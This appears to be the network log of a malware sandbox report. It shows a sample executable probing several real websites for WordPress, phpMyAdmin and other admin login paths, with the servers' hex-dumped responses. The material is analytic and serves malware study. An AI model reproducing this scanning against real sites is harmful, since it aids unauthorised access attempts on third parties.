2023-11-26 05:59:44 UTC	555	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 33 20 53 65 65 20 4f 74 68 65 72 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 54 68 75 2c 20 31 39 20 4e 6f 76 20 31 39 38 31 20 30 38 3a 35 32 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a Data Ascii: HTTP/1.1 303 See OtherServer: nginxDate: Sun, 26 Nov 2023 05:59:44 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidate
2023-11-26 05:59:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
408	192.168.2.4	50255	162.250.126.5	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	180	OUT	GET /wp-login.php HTTP/1.1 Host: mydirectlender.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
409	192.168.2.4	50331	54.83.33.36	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	174	OUT	GET /admin/pages/ HTTP/1.1 Host: ce-logic.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	511	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 50 48 50 53 45 53 53 49 44 3d 39 30 71 64 65 66 35 61 75 31 39 66 6e 72 6f 6d 67 64 75 69 70 63 75 38 73 35 3b 20 70 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 0d 0a 6c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 2f 53 65 63 75 72 69 74 79 2f 6c 6f 67 69 6e 3f 42 61 63 6b 55 52 4c 3d 25 32 46 61 64 6d 69 6e 25 32 46 70 61 67 65 73 25 32 46 0d 0a 78 2d 63 6f 6e 74 72 6f 6c 6c 65 72 3a 20 53 69 6c 76 65 72 53 74 72 Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:43 GMTServer: Apache/2.4.52 (Ubuntu)Set-Cookie: PHPSESSID=90qdef5au19fnromgduipcu8s5; path=/; HttpOnlylocation: https://ce-logic.com/Security/login?BackURL=%2Fadmin%2Fpages%2Fx-controller: SilverStr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
410	192.168.2.4	50666	13.32.208.27	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	178	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: www.perrisesd.org Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:43 UTC	1145	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 36 37 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a 53 65 72 76 65 72 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 49 49 53 2f 31 30 2e 30 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 44 6f 6d 61 69 6e Data Ascii: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Content-Length: 3067Connection: closeDate: Sun, 26 Nov 2023 05:59:43 GMTCache-Control: privateServer: Microsoft-IIS/10.0Strict-Transport-Security: max-age=31536000; includeSubDomain
2023-11-26 05:59:43 UTC	3067	IN	Data Raw: 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 53 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 65 72 72 69 73 65 73 64 2e 6f 72 67 2f 53 74 61 74 69 63 2f 2f 73 69 74 65 2f 61 73 73 65 74 73 2f 53 74 79 6c 65 73 2f 73 79 73 74 65 6d 5f 32 37 34 31 2e 63 73 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 Data Ascii: <html><head> <link rel="Stylesheet" type="text/css" href="https://www.perrisesd.org/Static//site/assets/Styles/system_2741.css" /> <title>Error 404 - Page Not Found</title> <style type="text/css"> @font-face { font

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
411	192.168.2.4	50463	104.26.7.37	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	206	OUT	GET /domain_profile.cfm?d=robinsonland.com HTTP/1.1 Host: www.hugedomains.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:44 UTC	798	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a 76 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 73 65 74 2d 63 6f 6f 6b 69 65 3a 20 73 69 74 65 5f 76 65 72 73 69 6f 6e 5f 70 68 61 73 65 3d 31 30 38 3b 20 65 78 70 69 72 65 73 3d 57 65 64 2c 20 32 30 2d 4e 6f 76 2d 32 30 32 34 20 30 35 3a 35 39 3a Data Ascii: HTTP/1.1 200 OKDate: Sun, 26 Nov 2023 05:59:43 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closecache-control: privatevary: Accept-Encodingset-cookie: site_version_phase=108; expires=Wed, 20-Nov-2024 05:59:
2023-11-26 05:59:44 UTC	571	IN	Data Raw: 35 33 38 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 73 63 72 69 70 74 20 69 64 3d 22 63 6f 6f 6b 69 65 79 65 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2d 63 6f 6f 6b 69 65 79 65 73 2e 63 6f 6d 2f 63 6c 69 65 6e 74 5f 64 61 74 61 2f 65 37 31 62 63 35 33 66 31 63 62 38 38 36 36 36 64 31 36 30 63 31 65 32 2f 73 63 72 69 70 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 0a 3c 6d 65 Data Ascii: 538a<!DOCTYPE html><html lang="en"><head><script id="cookieyes" type="text/javascript" src="https://cdn-cookieyes.com/client_data/e71bc53f1cb88666d160c1e2/script.js"></script><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><me
2023-11-26 05:59:44 UTC	1369	IN	Data Raw: 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 72 65 62 6f 6f 74 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 73 73 2f 68 64 76 33 2d 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 3f 61 61 3d 32 30 32 31 2d 30 36 2d 30 39 61 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 63 Data Ascii: /><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/reboot.min.css"><link rel="stylesheet" href="https://static.HugeDomains.com/css/hdv3-css/style.css?aa=2021-06-09a"><link rel="stylesheet" href="https://static.HugeDomains.com/c
2023-11-26 05:59:44 UTC	1369	IN	Data Raw: 6c 79 3d 4e 6f 74 6f 2b 53 61 6e 73 3a 34 30 30 2c 37 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 73 65 2e 74 79 70 65 6b 69 74 2e 6e 65 74 2f 7a 79 77 36 6d 64 73 2e 63 73 73 22 3e 0a 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 55 41 2d 37 31 31 37 33 33 39 2d 34 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0d 0a 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0d 0a 66 75 6e 63 74 69 6f 6e 20 67 Data Ascii: ly=Noto+Sans:400,700&display=swap"><link rel="stylesheet" href="https://use.typekit.net/zyw6mds.css"><script async src="https://www.googletagmanager.com/gtag/js?id=UA-7117339-4"></script><script>window.dataLayer = window.dataLayer \|\| [];function g
2023-11-26 05:59:44 UTC	1369	IN	Data Raw: 72 63 68 2d 69 63 6f 6e 2d 77 68 69 74 65 2e 70 6e 67 22 20 74 61 62 69 6e 64 65 78 3d 22 30 22 20 61 6c 74 3d 22 48 65 61 64 65 72 20 4d 6f 62 69 6c 65 20 53 65 61 72 63 68 22 20 62 6f 72 64 65 72 3d 22 30 22 20 6f 6e 63 6c 69 63 6b 3d 22 68 65 61 64 65 72 4d 6f 62 69 6c 65 53 65 61 72 63 68 4d 61 67 46 75 6e 63 28 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 61 72 63 68 2d 62 6f 78 20 22 20 69 64 3d 22 68 64 76 33 48 65 61 64 65 72 53 65 61 72 63 68 42 6f 78 44 69 76 49 44 22 3e 0a 0a 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 64 6f 6d 61 69 6e 5f 73 65 61 72 63 68 2e 63 66 6d 22 20 6d 65 74 68 6f Data Ascii: rch-icon-white.png" tabindex="0" alt="Header Mobile Search" border="0" onclick="headerMobileSearchMagFunc(); return false;"></div><div class="search-box " id="hdv3HeaderSearchBoxDivID"><form action="https://www.HugeDomains.com/domain_search.cfm" metho
2023-11-26 05:59:44 UTC	1369	IN	Data Raw: 65 6c 20 68 69 64 65 41 74 39 39 31 57 69 64 74 68 22 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 70 68 6f 6e 65 2d 69 63 6f 6e 2e 70 6e 67 22 20 61 6c 74 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 74 65 6c 6c 2d 74 65 78 74 22 3e 2b 31 2d 33 30 33 2d 38 39 33 2d 30 35 35 32 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 6e 61 76 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 20 68 51 51 51 69 64 65 41 74 39 39 31 57 69 64 74 68 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 44 72 61 77 65 72 4c 61 79 20 22 20 6f 6e 63 6c 69 63 6b 3d 22 20 24 28 20 27 23 6e 61 76 54 6f Data Ascii: el hideAt991Width"><img src="https://static.HugeDomains.com/images/hdv3-img/phone-icon.png" alt><span class="tell-text">+1-303-893-0552</span></a></div></div></div><nav class="navbar hQQQideAt991Width"><div class="overDrawerLay " onclick=" $( '#navTo
2023-11-26 05:59:44 UTC	1369	IN	Data Raw: 64 69 76 20 63 6c 61 73 73 3d 22 63 61 72 74 2d 69 63 6f 6e 22 20 73 74 79 6c 65 3d 22 70 61 64 64 69 6e 67 2d 74 6f 70 3a 30 70 78 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 2e 63 66 6d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 20 22 20 69 64 3d 22 68 64 76 33 48 65 61 64 65 72 53 68 6f 70 70 69 6e 67 43 61 72 74 4c 69 6e 6b 49 44 22 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 53 68 6f 70 70 69 6e 67 20 43 61 72 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 6f 62 69 6c 65 2d 73 68 6f 77 22 3e 53 68 6f 70 70 69 6e 67 20 63 61 72 74 3c 2f 73 70 61 6e 3e 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 Data Ascii: div class="cart-icon" style="padding-top:0px;"><a href="https://www.HugeDomains.com/shopping_cart.cfm" class="whiteLink " id="hdv3HeaderShoppingCartLinkID" aria-label="Shopping Cart"><span class="mobile-show">Shopping cart</span><img src="https://static.H
2023-11-26 05:59:44 UTC	1369	IN	Data Raw: 32 37 33 70 78 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 3b 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 70 78 3b 20 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 22 3e 50 72 6f 63 65 73 73 69 6e 67 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 31 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 32 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 33 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 34 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 69 72 63 75 6c 61 72 4a 5f 35 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 Data Ascii: 273px; margin-top:0px; margin-bottom:0px; display:flex;">Processing<div class="circularJ"><div class="circularJ_1"></div><div class="circularJ_2"></div><div class="circularJ_3"></div><div class="circularJ_4"></div><div class="circularJ_5"></div><di
2023-11-26 05:59:44 UTC	1369	IN	Data Raw: 77 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 70 61 79 6d 65 6e 74 2d 70 6c 61 6e 2d 73 65 74 75 70 2e 63 66 6d 3f 64 3d 52 6f 62 69 6e 73 6f 6e 4c 61 6e 64 2e 63 6f 6d 22 20 63 6c 61 73 73 3d 22 6c 69 6e 6b 20 64 69 66 2d 6c 22 3e 53 65 65 20 64 65 74 61 69 6c 73 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 72 65 64 69 74 69 20 22 3e 0a 3c 75 6c 3e 0a 3c 6c 69 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 6d 67 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 48 75 67 65 44 6f 6d 61 69 6e 73 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 68 64 76 33 2d 69 6d 67 2f 33 30 64 61 79 73 6d 61 6c 6c 69 63 6f 2e 70 6e 67 22 20 61 6c 74 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 Data Ascii: w.HugeDomains.com/payment-plan-setup.cfm?d=RobinsonLand.com" class="link dif-l">See details</a></div><div class="crediti "><ul><li><div class="img"><img src="https://static.HugeDomains.com/images/hdv3-img/30daysmallico.png" alt></div><div class="c
2023-11-26 05:59:44 UTC	1369	IN	Data Raw: 67 6c 65 2d 70 72 6f 64 75 63 74 2d 62 6c 6f 63 6b 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 6e 2d 62 6c 6f 63 6b 22 3e 0a 3c 68 31 20 69 64 3d 22 6d 61 69 6e 22 20 63 6c 61 73 73 3d 22 64 6f 6d 61 69 6e 2d 6e 61 6d 65 22 3e 52 6f 62 69 6e 73 6f 6e 4c 61 6e 64 2e 63 6f 6d 3c 2f 68 31 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 64 2d 74 2d 6e 22 3e 54 68 69 73 20 64 6f 6d 61 69 6e 20 69 73 20 66 6f 72 20 73 61 6c 65 3a 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 72 65 65 6e 22 3e 24 32 2c 34 39 35 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 61 62 6c 65 74 2d 62 6c 6f 63 6b 2d 73 22 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 63 65 6e 74 65 72 22 3e 42 75 79 20 6e 6f 77 20 66 6f 72 20 3c 73 70 61 Data Ascii: gle-product-block"><div class="bn-block"><h1 id="main" class="domain-name">RobinsonLand.com</h1><p class="d-t-n">This domain is for sale: <span class="green">$2,495</span></p></div><div class="tablet-block-s"><p class="text-center">Buy now for <spa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
412	192.168.2.4	50236	74.220.219.189	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	175	OUT	GET /wp-admin/ HTTP/1.1 Host: himontessori.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:44 UTC	456	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 58 2d 52 65 64 69 72 65 63 74 2d 42 79 3a 20 57 6f 72 64 50 72 65 73 73 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:44 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0X-Redirect-By: WordPressUpgrade: h2,h2cConnection: Upgrade, closeLocation: https://

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
413	192.168.2.4	49923	194.47.252.115	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:43 UTC	176	OUT	GET /phpMyAdmin/ HTTP/1.1 Host: www.maxiv.lu.se Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:44 UTC	534	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 33 20 47 4d 54 0d 0a 73 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 44 65 62 69 61 6e 29 0d 0a 78 2d 70 6f 77 65 72 65 64 2d 62 79 3a 20 50 48 50 2f 38 2e 32 2e 31 32 0d 0a 65 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 6c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 Data Ascii: HTTP/1.1 404 Not Founddate: Sun, 26 Nov 2023 05:59:43 GMTserver: Apache/2.4.57 (Debian)x-powered-by: PHP/8.2.12expires: Wed, 11 Jan 1984 05:00:00 GMTcache-control: no-cache, must-revalidate, max-age=0link: <https://www.maxiv.lu.se/wp-json/>; r
2023-11-26 05:59:44 UTC	13086	IN	Data Raw: 33 33 31 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 4d 41 58 20 49 56 3c 2f 74 69 74 Data Ascii: 3316<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><link rel="profile" href="http://gmpg.org/xfn/11"><title>Page not found – MAX IV</tit
2023-11-26 05:59:44 UTC	16322	IN	Data Raw: 33 46 42 41 0d 0a 73 68 65 65 74 27 20 69 64 3d 27 6a 71 75 65 72 79 2d 75 69 2d 73 74 79 6c 65 73 2d 63 73 73 27 20 68 72 65 66 3d 27 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 75 69 2f 31 2e 31 33 2e 31 2f 74 68 65 6d 65 73 2f 62 61 73 65 2f 6a 71 75 65 72 79 2d 75 69 2e 63 73 73 3f 76 65 72 3d 36 2e 34 2e 31 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 74 61 62 6c 65 70 72 65 73 73 2d 64 65 66 61 75 6c 74 2d 63 73 73 27 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 61 78 69 76 2e 6c 75 2e 73 65 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 74 61 62 6c 65 70 72 65 73 73 2f 63 73 73 2f 62 75 69 6c 64 2f 64 65 66 61 75 6c 74 2e 63 Data Ascii: 3FBAsheet' id='jquery-ui-styles-css' href='//code.jquery.com/ui/1.13.1/themes/base/jquery-ui.css?ver=6.4.1' media='all' /><link rel='stylesheet' id='tablepress-default-css' href='https://www.maxiv.lu.se/wp-content/plugins/tablepress/css/build/default.c
